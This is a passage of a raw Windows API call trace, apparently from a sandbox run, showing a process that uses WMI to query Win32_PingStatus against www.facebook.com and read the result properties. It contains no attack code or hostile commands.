lpFilePart=0x0) returned 0x17 [0118.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x17, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0119.171] EtwEventActivityIdControl () returned 0x0 [0119.171] SetEvent (hEvent=0x40c) returned 1 [0119.171] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572edf8*=0x40c, lpdwindex=0x572ec1c | out: lpdwindex=0x572ec1c) returned 0x0 [0119.173] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572ed8c, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0119.174] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0119.174] GetFileType (hFile=0xb) returned 0x2 [0119.174] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x572ef30 | out: lpMode=0x572ef30) returned 1 [0119.175] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572eef0 | out: lpConsoleScreenBufferInfo=0x572eef0) returned 1 [0119.175] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572eef0 | out: lpConsoleScreenBufferInfo=0x572eef0) returned 1 [0119.414] EtwEventActivityIdControl () returned 0x0 [0119.414] EtwEventActivityIdControl () returned 0x0 [0119.414] EtwEventActivityIdControl () returned 0x0 [0119.511] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f0 [0119.512] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f4 [0119.703] SetEvent (hEvent=0x3f4) returned 1 [0120.110] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572eff8*=0x3f0, lpdwindex=0x572ee1c | out: lpdwindex=0x572ee1c) returned 0x0 [0120.162] CoGetContextToken (in: pToken=0x572eecc | out: pToken=0x572eecc) returned 0x0 [0120.177] CoGetContextToken (in: pToken=0x572ee2c | out: pToken=0x572ee2c) returned 0x0 [0120.178] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b4a8, riid=0x572eefc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572eef8 | out: ppvObject=0x572eef8*=0x37b4a8) returned 0x0 [0120.178] WbemDefPath:IUnknown:AddRef (This=0x37b4a8) returned 0x3 [0120.178] WbemDefPath:IUnknown:Release (This=0x37b4a8) returned 0x2 [0120.182] WbemDefPath:IWbemPath:SetText (This=0x37b4a8, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0120.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f074 | out: puCount=0x572f074*=0x2) returned 0x0 [0120.186] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f070*=0x0, pszText=0x0 | out: puBuffLength=0x572f070*=0xf, pszText=0x0) returned 0x0 [0120.186] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f070*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f070*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.362] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572ef80*=0x468, lpdwindex=0x572ee38 | out: lpdwindex=0x572ee38) returned 0x0 [0125.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f060 | out: puCount=0x572f060*=0x2) returned 0x0 [0125.286] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f05c*=0x0, pszText=0x0 | out: puBuffLength=0x572f05c*=0xf, pszText=0x0) returned 0x0 [0125.286] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f05c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f05c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.287] CoGetContextToken (in: pToken=0x572ed24 | out: pToken=0x572ed24) returned 0x0 [0125.287] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0125.287] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0125.287] CoGetContextToken (in: pToken=0x572ec24 | out: pToken=0x572ec24) returned 0x0 [0125.287] IUnknown:QueryInterface (in: This=0x3428f0, riid=0x71478ae0*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ebfc | out: ppvObject=0x572ebfc*=0x342900) returned 0x0 [0125.288] CObjectContext::ContextCallback () returned 0x0 [0125.315] IUnknown:Release (This=0x342900) returned 0x1 [0125.317] CoUnmarshalInterface (in: pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572ec78 | out: ppv=0x572ec78*=0x3b3b94) returned 0x0 [0125.317] CoMarshalInterface (pStm=0x3d8298, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x3b3b94, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0125.317] WbemLocator:IUnknown:QueryInterface (in: This=0x3b3b94, riid=0x572ed54*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x572ed50 | out: ppvObject=0x572ed50*=0x38fa08) returned 0x0 [0125.332] WbemLocator:IUnknown:Release (This=0x3b3b94) returned 0x1 [0125.332] IWbemServices:ExecQuery (in: This=0x38fa08, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.facebook.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x572efbc | out: ppEnum=0x572efbc*=0x353660) returned 0x0 [0125.364] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed84 | out: ppvObject=0x572ed84*=0x353664) returned 0x0 [0125.364] IClientSecurity:QueryBlanket (in: This=0x353664, pProxy=0x353660, pAuthnSvc=0x572edd4, pAuthzSvc=0x572edd0, pServerPrincName=0x572edc8, pAuthnLevel=0x572edcc, pImpLevel=0x572edbc, pAuthInfo=0x572edc0, pCapabilites=0x572edc4 | out: pAuthnSvc=0x572edd4*=0xa, pAuthzSvc=0x572edd0*=0x0, pServerPrincName=0x572edc8, pAuthnLevel=0x572edcc*=0x6, pImpLevel=0x572edbc*=0x2, pAuthInfo=0x572edc0, pCapabilites=0x572edc4*=0x1) returned 0x0 [0125.364] IUnknown:Release (This=0x353664) returned 0x1 [0125.364] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed78 | out: ppvObject=0x572ed78*=0x3b3c84) returned 0x0 [0125.364] IUnknown:QueryInterface (in: This=0x353660, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ed64 | out: ppvObject=0x572ed64*=0x353664) returned 0x0 [0125.364] IClientSecurity:SetBlanket (This=0x353664, pProxy=0x353660, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.523] IUnknown:Release (This=0x353664) returned 0x2 [0125.523] WbemLocator:IUnknown:Release (This=0x3b3c84) returned 0x1 [0125.523] CoTaskMemFree (pv=0x5c5dc40) [0125.523] IUnknown:AddRef (This=0x353660) returned 0x2 [0125.524] CoGetContextToken (in: pToken=0x572e2a4 | out: pToken=0x572e2a4) returned 0x0 [0125.524] IUnknown:QueryInterface (in: This=0x342a60, riid=0x7135b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e260 | out: ppvObject=0x572e260*=0x342a6c) returned 0x0 [0125.524] IComThreadingInfo:GetCurrentApartmentType (in: This=0x342a6c, pAptType=0x572e29c | out: pAptType=0x572e29c*=3) returned 0x0 [0125.524] IUnknown:Release (This=0x342a6c) returned 0x0 [0125.524] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5c593f4 | out: ppv=0x5c593f4*=0x342a60) returned 0x0 [0125.524] CoGetContextToken (in: pToken=0x572e6b4 | out: pToken=0x572e6b4) returned 0x0 [0125.524] IUnknown:QueryInterface (in: This=0x353660, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e650 | out: ppvObject=0x572e650*=0x3b3c6c) returned 0x0 [0125.525] WbemLocator:IRpcOptions:Query (in: This=0x3b3c6c, pPrx=0x5c593c0, dwProperty=2, pdwValue=0x572e744 | out: pdwValue=0x572e744) returned 0x80004002 [0125.525] WbemLocator:IUnknown:Release (This=0x3b3c6c) returned 0x2 [0125.525] CoGetContextToken (in: pToken=0x572ec84 | out: pToken=0x572ec84) returned 0x0 [0125.525] CoGetContextToken (in: pToken=0x572ebe4 | out: pToken=0x572ebe4) returned 0x0 [0125.525] IUnknown:QueryInterface (in: This=0x353660, riid=0x572ecb4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572eb80 | out: ppvObject=0x572eb80*=0x353660) returned 0x0 [0125.525] IUnknown:Release (This=0x353660) returned 0x2 [0125.525] WbemLocator:IUnknown:Release (This=0x38fa08) returned 0x0 [0125.525] SysStringLen (param_1=0x0) returned 0x0 [0125.526] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f008 | out: puCount=0x572f008*=0x2) returned 0x0 [0125.526] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f004*=0x0, pszText=0x0 | out: puBuffLength=0x572f004*=0xf, pszText=0x0) returned 0x0 [0125.526] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f004*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f004*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0125.526] CoGetContextToken (in: pToken=0x572ee5c | out: pToken=0x572ee5c) returned 0x0 [0125.526] IEnumWbemClassObject:Clone (in: This=0x353660, ppEnum=0x572f014 | out: ppEnum=0x572f014*=0x353728) returned 0x0 [0125.817] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eed0 | out: ppvObject=0x572eed0*=0x35372c) returned 0x0 [0125.817] IClientSecurity:QueryBlanket (in: This=0x35372c, pProxy=0x353728, pAuthnSvc=0x572ef20, pAuthzSvc=0x572ef1c, pServerPrincName=0x572ef14, pAuthnLevel=0x572ef18, pImpLevel=0x572ef08, pAuthInfo=0x572ef0c, pCapabilites=0x572ef10 | out: pAuthnSvc=0x572ef20*=0xa, pAuthzSvc=0x572ef1c*=0x0, pServerPrincName=0x572ef14, pAuthnLevel=0x572ef18*=0x6, pImpLevel=0x572ef08*=0x2, pAuthInfo=0x572ef0c, pCapabilites=0x572ef10*=0x1) returned 0x0 [0125.817] IUnknown:Release (This=0x35372c) returned 0x1 [0125.817] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eec4 | out: ppvObject=0x572eec4*=0x3b3b94) returned 0x0 [0125.817] IUnknown:QueryInterface (in: This=0x353728, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eeb0 | out: ppvObject=0x572eeb0*=0x35372c) returned 0x0 [0125.817] IClientSecurity:SetBlanket (This=0x35372c, pProxy=0x353728, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.836] IUnknown:Release (This=0x35372c) returned 0x2 [0125.836] WbemLocator:IUnknown:Release (This=0x3b3b94) returned 0x1 [0125.836] CoTaskMemFree (pv=0x5c5dc10) [0125.836] IUnknown:AddRef (This=0x353728) returned 0x2 [0125.837] CoGetContextToken (in: pToken=0x572e3e0 | out: pToken=0x572e3e0) returned 0x0 [0125.837] CoGetContextToken (in: pToken=0x572e7f4 | out: pToken=0x572e7f4) returned 0x0 [0125.837] IUnknown:QueryInterface (in: This=0x353728, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e78c | out: ppvObject=0x572e78c*=0x3b3b7c) returned 0x0 [0125.838] WbemLocator:IRpcOptions:Query (in: This=0x3b3b7c, pPrx=0x5c59438, dwProperty=2, pdwValue=0x572e880 | out: pdwValue=0x572e880) returned 0x80004002 [0125.838] WbemLocator:IUnknown:Release (This=0x3b3b7c) returned 0x2 [0125.838] CoGetContextToken (in: pToken=0x572edc4 | out: pToken=0x572edc4) returned 0x0 [0125.838] CoGetContextToken (in: pToken=0x572ed24 | out: pToken=0x572ed24) returned 0x0 [0125.838] IUnknown:QueryInterface (in: This=0x353728, riid=0x572edf4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572ecc0 | out: ppvObject=0x572ecc0*=0x353728) returned 0x0 [0125.838] IUnknown:Release (This=0x353728) returned 0x2 [0125.838] SysStringLen (param_1=0x0) returned 0x0 [0125.840] IEnumWbemClassObject:Reset (This=0x353728) returned 0x0 [0125.872] CoTaskMemAlloc (cb=0x4) returned 0x5c4f278 [0125.872] IEnumWbemClassObject:Next (in: This=0x353728, lTimeout=-1, uCount=0x1, apObjects=0x5c4f278, puReturned=0x2185074 | out: apObjects=0x5c4f278*=0x5c58ef0, puReturned=0x2185074*=0x1) returned 0x0 [0126.660] IUnknown:QueryInterface (in: This=0x5c58ef0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e66c | out: ppvObject=0x572e66c*=0x5c58ef0) returned 0x0 [0126.661] IUnknown:QueryInterface (in: This=0x5c58ef0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e620 | out: ppvObject=0x572e620*=0x0) returned 0x80004002 [0126.661] IUnknown:QueryInterface (in: This=0x5c58ef0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e448 | out: ppvObject=0x572e448*=0x0) returned 0x80004002 [0126.661] IUnknown:AddRef (This=0x5c58ef0) returned 0x3 [0126.661] IUnknown:QueryInterface (in: This=0x5c58ef0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572df7c | out: ppvObject=0x572df7c*=0x0) returned 0x80004002 [0126.661] IUnknown:QueryInterface (in: This=0x5c58ef0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572df2c | out: ppvObject=0x572df2c*=0x0) returned 0x80004002 [0126.661] IUnknown:QueryInterface (in: This=0x5c58ef0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572df38 | out: ppvObject=0x572df38*=0x5c58ef4) returned 0x0 [0126.662] IMarshal:GetUnmarshalClass (in: This=0x5c58ef4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x572df40 | out: pCid=0x572df40*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0126.662] IUnknown:Release (This=0x5c58ef4) returned 0x3 [0126.662] CoGetContextToken (in: pToken=0x572df98 | out: pToken=0x572df98) returned 0x0 [0126.662] CoGetContextToken (in: pToken=0x572e3ac | out: pToken=0x572e3ac) returned 0x0 [0126.662] IUnknown:QueryInterface (in: This=0x5c58ef0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e42c | out: ppvObject=0x572e42c*=0x0) returned 0x80004002 [0126.663] IUnknown:Release (This=0x5c58ef0) returned 0x2 [0126.663] CoGetContextToken (in: pToken=0x572e994 | out: pToken=0x572e994) returned 0x0 [0126.663] CoGetContextToken (in: pToken=0x572e8f4 | out: pToken=0x572e8f4) returned 0x0 [0126.663] IUnknown:QueryInterface (in: This=0x5c58ef0, riid=0x572e9c4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x572e9c0 | out: ppvObject=0x572e9c0*=0x5c58ef0) returned 0x0 [0126.663] IUnknown:AddRef (This=0x5c58ef0) returned 0x4 [0126.663] IUnknown:Release (This=0x5c58ef0) returned 0x3 [0126.663] IUnknown:Release (This=0x5c58ef0) returned 0x2 [0126.663] CoTaskMemFree (pv=0x5c4f278) [0126.664] CoGetContextToken (in: pToken=0x572ed04 | out: pToken=0x572ed04) returned 0x0 [0126.664] IUnknown:AddRef (This=0x5c58ef0) returned 0x3 [0126.664] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572f004*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572f084*=0, plFlavor=0x572f080*=0 | out: pVal=0x572f004*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x572f084*=3, plFlavor=0x572f080*=64) returned 0x0 [0126.666] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PATH", lFlags=0, pVal=0x572efe8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572f06c*=0, plFlavor=0x572f068*=0 | out: pVal=0x572efe8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x572f06c*=8, plFlavor=0x572f068*=64) returned 0x0 [0126.667] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0126.667] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0126.668] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0126.668] SetEvent (hEvent=0x3f4) returned 1 [0126.668] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572efc0*=0x4d4, lpdwindex=0x572ede4 | out: lpdwindex=0x572ede4) returned 0x0 [0126.671] CoGetContextToken (in: pToken=0x572ee94 | out: pToken=0x572ee94) returned 0x0 [0126.671] CoGetContextToken (in: pToken=0x572edf4 | out: pToken=0x572edf4) returned 0x0 [0126.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b5f8, riid=0x572eec4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572eec0 | out: ppvObject=0x572eec0*=0x37b5f8) returned 0x0 [0126.671] WbemDefPath:IUnknown:AddRef (This=0x37b5f8) returned 0x3 [0126.671] WbemDefPath:IUnknown:Release (This=0x37b5f8) returned 0x2 [0126.671] WbemDefPath:IWbemPath:SetText (This=0x37b5f8, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0126.672] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572f040 | out: puCount=0x572f040*=0x2) returned 0x0 [0126.672] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f03c*=0x0, pszText=0x0 | out: puBuffLength=0x572f03c*=0xf, pszText=0x0) returned 0x0 [0126.672] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572f03c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572f03c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.674] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0126.674] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0126.674] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.675] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="Address", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185b4c*=0, plFlavor=0x2185b50*=0 | out: pVal=0x572efa4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x2185b4c*=8, plFlavor=0x2185b50*=0) returned 0x0 [0126.675] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0126.675] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0126.675] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="Address", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185b4c*=8, plFlavor=0x2185b50*=0 | out: pVal=0x572efac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x2185b4c*=8, plFlavor=0x2185b50*=0) returned 0x0 [0126.675] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0126.675] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0126.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0126.676] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0126.676] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.676] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185c10*=0, plFlavor=0x2185c14*=0 | out: pVal=0x572efa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185c10*=19, plFlavor=0x2185c14*=0) returned 0x0 [0126.677] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572efac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185c10*=19, plFlavor=0x2185c14*=0 | out: pVal=0x572efac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185c10*=19, plFlavor=0x2185c14*=0) returned 0x0 [0126.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572efa8 | out: puCount=0x572efa8*=0x2) returned 0x0 [0126.677] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0x0, pszText=0x0 | out: puBuffLength=0x572efa4*=0xf, pszText=0x0) returned 0x0 [0126.677] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572efa4*=0xf, pszText="00000000000000" | out: puBuffLength=0x572efa4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.677] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="StatusCode", lFlags=0, pVal=0x572efa4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185ca4*=0, plFlavor=0x2185ca8*=0 | out: pVal=0x572efa4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2185ca4*=19, plFlavor=0x2185ca8*=0) returned 0x0 [0126.678] IWbemClassObject:Get 